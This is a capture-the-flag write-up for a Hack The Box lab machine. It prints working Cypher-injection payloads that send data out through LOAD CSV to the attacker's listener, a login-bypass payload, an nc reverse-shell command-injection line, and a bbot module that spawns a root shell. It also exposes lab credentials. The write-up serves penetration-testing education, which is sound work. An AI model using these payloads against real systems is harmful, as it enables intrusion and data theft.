Cypher - HTB Machine
Cypher
is a Hack The Box machine released on 01 Mar 2025
Summary (How?)
Cypher is a HTB machine running a web app that relies on a Neo4j graph database. A Cypher-injection
flaw lets us bypass the login logic and enumerate data. Then, an exposed directory holds a JAR file whose decompiled code reveals a custom Neo4j procedure that executes shell commands without sanitisation (command injection
); exploiting that procedure yields remote code execution and a reverse shell.
Finally, privilege escalation was achieved by abusing a custom module functionality in the bbot
OSINT tool, which graphasm
could run with sudo
privileges. Finally we used a PoC to spawn a root shell, granting full control of the system and access to the root flag.
Enumeration
nmap
All ports
┌──(frang4㉿kali)-[~/htb-machines/2025/cypher]
└─$ nmap -p- --min-rate=1000 $IP -oN nmap-all-ports
Nmap scan report for 10.10.11.57
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Specific ports
┌──(frang4㉿kali)-[~/htb-machines/2025/cypher]
└─$ nmap -sC -sV --min-rate=1000 -p 22,80 $IP -oN nmap-basic
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-09 07:35 CST
Nmap scan report for 10.10.11.57
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.26 seconds
First, we modify /etc/hosts
to add cypher.htb
Endpoints
We start by doing some fuzzing and find six endpoints
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u 'http://cypher.htb/FUZZ' > ffuf-dir-medium.txt
about [Status: 200, Size: 4986, Words: 1117, Lines: 179, Duration: 172ms]
index [Status: 200, Size: 4562, Words: 1285, Lines: 163, Duration: 172ms]
login [Status: 200, Size: 3671, Words: 863, Lines: 127, Duration: 171ms]
demo [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 168ms]
api [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 171ms]
testing [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 170ms]
/
→ Initial page
In /testing
there is an open directory and we found a .jar
file
Investigating the jar file
┌──(frang4㉿kali)-[~/htb-machines/2025/cypher]
└─$ unzip -l custom-apoc-extension-1.0-SNAPSHOT.jar
Archive: custom-apoc-extension-1.0-SNAPSHOT.jar
Length Date Time Name
--------- ---------- ----- ----
81 2024-09-19 01:11 META-INF/MANIFEST.MF
547 2024-09-19 01:11 com/cypher/neo4j/apoc/CustomFunctions$StringOutput.class
1670 2024-09-19 01:11 com/cypher/neo4j/apoc/HelloWorldProcedure.class
3837 2024-09-19 01:11 com/cypher/neo4j/apoc/CustomFunctions.class
573 2024-09-19 01:11 com/cypher/neo4j/apoc/HelloWorldProcedure$HelloWorldOutput.class
0 2024-09-16 13:07 META-INF/maven/com.cypher.neo4j/custom-apoc-extension/
1631 2024-09-16 13:07 META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.xml
79 2024-09-19 01:11 META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.properties
--------- -------
8418 15 files
The JAR is a lightweight Neo4j APOC extension with two classes:
HelloWorldProcedure.class
, a procedureCustomFunctions.class
, a user-defined function class
APOC (“Awesome Procedures On Cypher”) is an add-on library for Neo4j that bundles user-defined procedures and functions to extend what you can do with Cypher.
Interesting message in the login page
From the TODO comment we know that users are stored in the neo4j database.
<script>
// TODO: don't store user accounts in neo4j
function doLogin(e) {
e.preventDefault();
var username = $("#usernamefield").val();
var password = $("#passwordfield").val();
$.ajax({
url: '/api/auth',
type: 'POST',
contentType: 'application/json',
data: JSON.stringify({ username: username, password: password }),
success: function (r) {
window.location.replace("/demo");
},
error: function (r) {
if (r.status == 401) {
notify("Access denied");
} else {
notify(r.responseText);
}
}
});
}
$("form").keypress(function (e) {
if (e.keyCode == 13) {
doLogin(e);
}
})
$("#loginsubmit").click(doLogin);
</script>
Cypher Injection
After playing a little with the log in form we found that it is vulnerable to Cypher injection (which explains the box name). The following error is shown when we add a '
in the username field.
HTTP/1.1 400 Bad Request
Server: nginx/1.24.0 (Ubuntu)
Date: Wed, 09 Jul 2025 00:11:31 GMT
Content-Length: 3562
Connection: keep-alive
Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
self._auto_result._run(
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
self._attach()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
self._connection.fetch_message()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
func(*args, **kwargs)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
res = self._process_message(tag, fields)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Variable `s` not defined (line 1, column 98 (offset: 97))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin'' return h.value as hash"
^
Cypher injection is the graph-database analogue of SQL injection. It targets unsanitised input in databases queried with the Cypher language—such as Neo4j, the engine behind BloodHound—letting an attacker run arbitrary Cypher commands.
These are two interesting resources on the matter
- Protecting against Cypher Injection: neo4j
- The most underrated injection of all time: Infosec Writeups
Let’s check again the error message from above and see that it outputs the cypher query that is being executed in the backend to retrieve the user’s password hash.
We now know:
SHA1
is the hash algorithm used to store passwords.- The backend compares this hash against the one computed from the password entered in the login form
From here we can exfiltrate user’s hash and probably bypass login.
Enumerating database labels
We found this writeup from an old HTB machine that explained how to enumerate database labels (which are similar to tables in SQL). The exploit abuses Cypher’s LOAD CSV FROM
clause, embedding the labels as URL parameters in successive HTTP requests to an attacker-controlled server.
Using this payload
' OR 1=1 WITH 1 as a CALL db.labels() YIELD label LOAD CSV FROM 'http://10.10.14.151:8000/?'+label AS b RETURN b //
Explanation:
' OR 1=1
– Closes the quoted string in the original query and appendsOR 1=1
, forcing the WHERE clause to evaluate true and bypassing the intended restriction (classic boolean-based injection).WITH 1 AS a
– Starts a new query pipeline; the dummy variablea
is never used but satisfies Cypher’s requirement that every subsequent clause have an input stream. This is necessary because in Cypher every subsequent clause consumes the stream produced by the previous one. If we jump straight to CALL db.labels() the procedure would be invoked once per row matched earlier (or return error if there is no stream).CALL db.labels() YIELD label
enumerates every distinct node label in the database.LOAD CSV FROM 'http://10.10.14.151:8000/?' + label AS b
forces Neo4j to perform an outbound HTTP GET for each label, effectively exfiltrating the label names to your listener.//
Finally this ignores the rest of the query
Results in these requests
┌──(frang4㉿kali)-[~/htb-machines/2025/cypher/custom-apoc-extension-1.0-SNAPSHOT]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.57 - - [10/Jul/2025 11:05:43] "GET /?USER HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:05:44] "GET /?HASH HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:05:47] "GET /?DNS_NAME HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:05:47] "GET /?SHA1 HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:05:48] "GET /?SCAN HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:05:49] "GET /?ORG_STUB HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:05:51] "GET /?IP_ADDRESS HTTP/1.1" 200 -
Exfiltrating user’s SHA1 hash
Using the same logic as before, we will exfiltrate user’s hash and try to crack it offline.
The payload is
' OR 1=1 WITH 1 as a MATCH (f:USER) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.151:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
Explanation:
MATCH (f:USER)
– Retrieves every node carrying theUSER
label and binds each node to the variablef
, which will contain a map of user properties as keys. For examplef[name]=username
. The SQL “translation” would be to get the user’s table.UNWIND keys(f) AS p
– For each user, iterates over all its property namesLOAD CSV FROM 'http://10.10.14.151:8000/?' + p + '=' + toString(f[p]) AS l
Builds a URL in the form/?<property>=<value>
As a result we manage to exfiltrate user graphasm
and password hash 9f54ca4c130be6d529a56dee59dc2b2090e43acf
10.10.11.57 - - [10/Jul/2025 11:08:18] "GET /?name=graphasm HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:14:12] "GET /?value=9f54ca4c130be6d529a56dee59dc2b2090e43acf HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:16:43] "GET /?parent_uuid=d0ba01af-b882-4284-92f4-01412cb123c4 HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:16:45] "GET /?scope_distance=0 HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:16:46] "GET /?uuid=d0ba01af-b882-4284-92f4-01412cb123c4 HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:16:46] "GET /?scan=SCAN:eb3cf8eb641dd2e8005128c2fee4b43e59fd7785 HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:16:46] "GET /?type=SCAN HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 11:16:47] "GET /?web_spider_distance=0 HTTP/1.1" 200
Trying to crack it is useless, so we will have to bypass the log in form.
Hash.Target......: 9f54ca4c130be6d529a56dee59dc2b2090e43acf
Time.Started.....: Thu Jul 10 00:15:47 2025 (1 sec)
Time.Estimated...: Thu Jul 10 00:15:48 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 17643.1 kH/s (2.36ms) @ Accel:2048 Loops:1 Thr:32 Vec:1
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Bypass login
If we recall, the query in the neo4j database returns the hash that later will be compared against the entered password.
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin'' return h.value as hash"
The idea then is to calculate a password hash, inject that hash into the request, and submit the matching plaintext password. When the server re-hashes the supplied password and compares it to the injected value, the hashes match, allowing authentication to be bypassed.
Our password is
└─$ echo -n 'hola' | sha1sum
99800b85d3383e3a2fb45eb7d0066a4879a9dad0 -
And the resulting payload is
graphasm' return '99800b85d3383e3a2fb45eb7d0066a4879a9dad0' as hash //
Finally, we can see an ok
message as a response indicating that we have successfully logged in.
Now we modify the access-token
cookie in our browser and get access as graphasm
.
Command injection in custom extension - User flag
Once logged in, the app allows to execute queries against the neo4j database.
Again, there is no input validation, and '
causes the app to crash.
Interesting databases with SHOW DATABASES
. There is a system databse.
Reverse engineering the .class files
After playing a while with the database and trying to read an interesting user (remember the TODO comment we found at the beginning) the key was looking into the jar files we found earlier. The problem with the two procedures/functions found is that we have the compiled .class
files, not the source code. To solve this, you can use a decompiler to reverse engineer the files. For this purpose, we used decompiler.com.
Here is the code of CustomFunctions.class
package com.cypher.neo4j.apoc;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;
public class CustomFunctions {
@Procedure(
name = "custom.getUrlStatusCode",
mode = Mode.READ
)
@Description("Returns the HTTP status code for the given URL as a string")
public Stream<com.cypher.neo4j.apoc.CustomFunctions.StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
url = "https://" + url;
}
String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
System.out.println("Command: " + Arrays.toString(command));
Process process = Runtime.getRuntime().exec(command);
BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
StringBuilder errorOutput = new StringBuilder();
String line;
while((line = errorReader.readLine()) != null) {
errorOutput.append(line).append("\n");
}
String statusCode = inputReader.readLine();
System.out.println("Status code: " + statusCode);
boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
if (!exited) {
process.destroyForcibly();
statusCode = "0";
System.err.println("Process timed out after 10 seconds");
} else {
int exitCode = process.exitValue();
if (exitCode != 0) {
statusCode = "0";
System.err.println("Process exited with code " + exitCode);
}
}
if (errorOutput.length() > 0) {
System.err.println("Error output:\n" + errorOutput.toString());
}
return Stream.of(new com.cypher.neo4j.apoc.CustomFunctions.StringOutput(statusCode));
}
}
OS Command Injection
From the code above a new injection becomes crystal clear. What is going on? The function takes a parameter url
and appends it to the command
String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
With no kind of input sanitization, which leads to an easy OS command injection. Let’s try this.
And now we can get a reverse shell
example.com; rm /tmp/f; mkfifo /tmp/f; sh < /tmp/f | nc 10.10.14.151 9001 > /tmp/f
We start as the neo4j
service user and identify another user graphasm
by listing the /home
folder. Our next goal is to escalate privileges to graphasm
to get the user flag.
We found something interesting in the database configuration.
neo4j@cypher:~/data$ cat dbms/auth.ini
cat dbms/auth.ini
neo4j:SHA-256,6a4277a4653a8536cff2d6f44fc698621e237d33a0fa36a57c55fb3bfead7b48,3d19d683dc15384a6cae9dc840740e93116cae7b0786b9dfee4dbbacbc13a65c,1024:
Credentials for graphasm user
Finally, the interesting loot was in a readable file in graphasm
’s home folder.
neo4j@cypher:~$ cat /home/graphasm/bbot_preset.yml
cat /home/graphasm/bbot_preset.yml
targets:
- ecorp.htb
output_dir: /home/graphasm/bbot_scans
config:
modules:
neo4j:
username: neo4j
password: cU4btyib.20xtCMCXkBmerhK
This file provides credentials that we can use to log in as graphasm
graphasm@cypher:/var/lib/neo4j$ whoami
whoami
graphasm
At this point, we have gained persistence via SSH access on the target system.
Root flag
bbot as sudo
We start by enumerating the system and find that graphasm
has sudo
privileges over /usr/local/bin/bbot
.
BBOT (Bighuge BLS (Black Lantern Security) OSINT Tool) is an open-source, Python-based framework from Black Lantern Security that automates reconnaissance and attack-surface mapping. It chains 80-plus modular plugins in a recursive pipeline to enumerate subdomains, map IP space, probe ports and services, capture web screenshots, etc. Here is a blog explaining how to use it.
After doing some research we found that it is possible to create a custom module for this tool. We can use this to escalate privileges to root, just as it is shown in this PoC.
The custom module code is pretty straightforward
from bbot.modules.base import BaseModule
import pty
import os
class systeminfo_enum(BaseModule):
watched_events = []
produced_events = []
flags = ["safe", "passive"]
meta = {"description": "System Info Recon (actually spawns root shell)"}
async def setup(self):
self.hugesuccess("📡 systeminfo_enum setup called — launching shell!")
try:
pty.spawn(["/bin/bash", "-p"])
except Exception as e:
self.error(f"❌ Shell failed: {e}")
return True
It spawns a shell using the pty
Python module. This bbot module is invoked from a yaml
configuration file preset.yml
description: System Info Recon Scan
module_dirs:
- .
modules:
- systeminfo_enum
Let’s try this against our target machine.
Custom module in bbot and a root shell
┌──(frang4㉿kali)-[~/htb-machines/2025/cypher/bbot-privesc]
└─$ zip exploit.zip preset.yml systeminfo_enum.py
adding: preset.yml (deflated 16%)
adding: systeminfo_enum.py (deflated 39%)
┌──(frang4㉿kali)-[~/htb-machines/2025/cypher/bbot-privesc]
└─$ ls
exploit.zip preset.yml systeminfo_enum.py
┌──(frang4㉿kali)-[~/htb-machines/2025/cypher/bbot-privesc]
└─$ scp exploit.zip [email protected]:/tmp
And finally, a shell with root privileges pops up.
graphasm@cypher:/tmp$ sudo /usr/local/bin/bbot -t dummy.com -p ./preset.yml --event-types ROOT
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
[INFO] Scan with 1 modules seeded with 1 targets (1 in whitelist)
[INFO] Loaded 1/1 scan modules (systeminfo_enum)
[INFO] Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate)
[INFO] Loaded 5/5 output modules, (csv,json,python,stdout,txt)
[SUCC] systeminfo_enum: 📡 systeminfo_enum setup called — launching shell!
root@cypher:/tmp# whoami
root
root@cypher:/tmp# cat /root/root.txt
e63f24d1a7eb2010126ec00ea142c419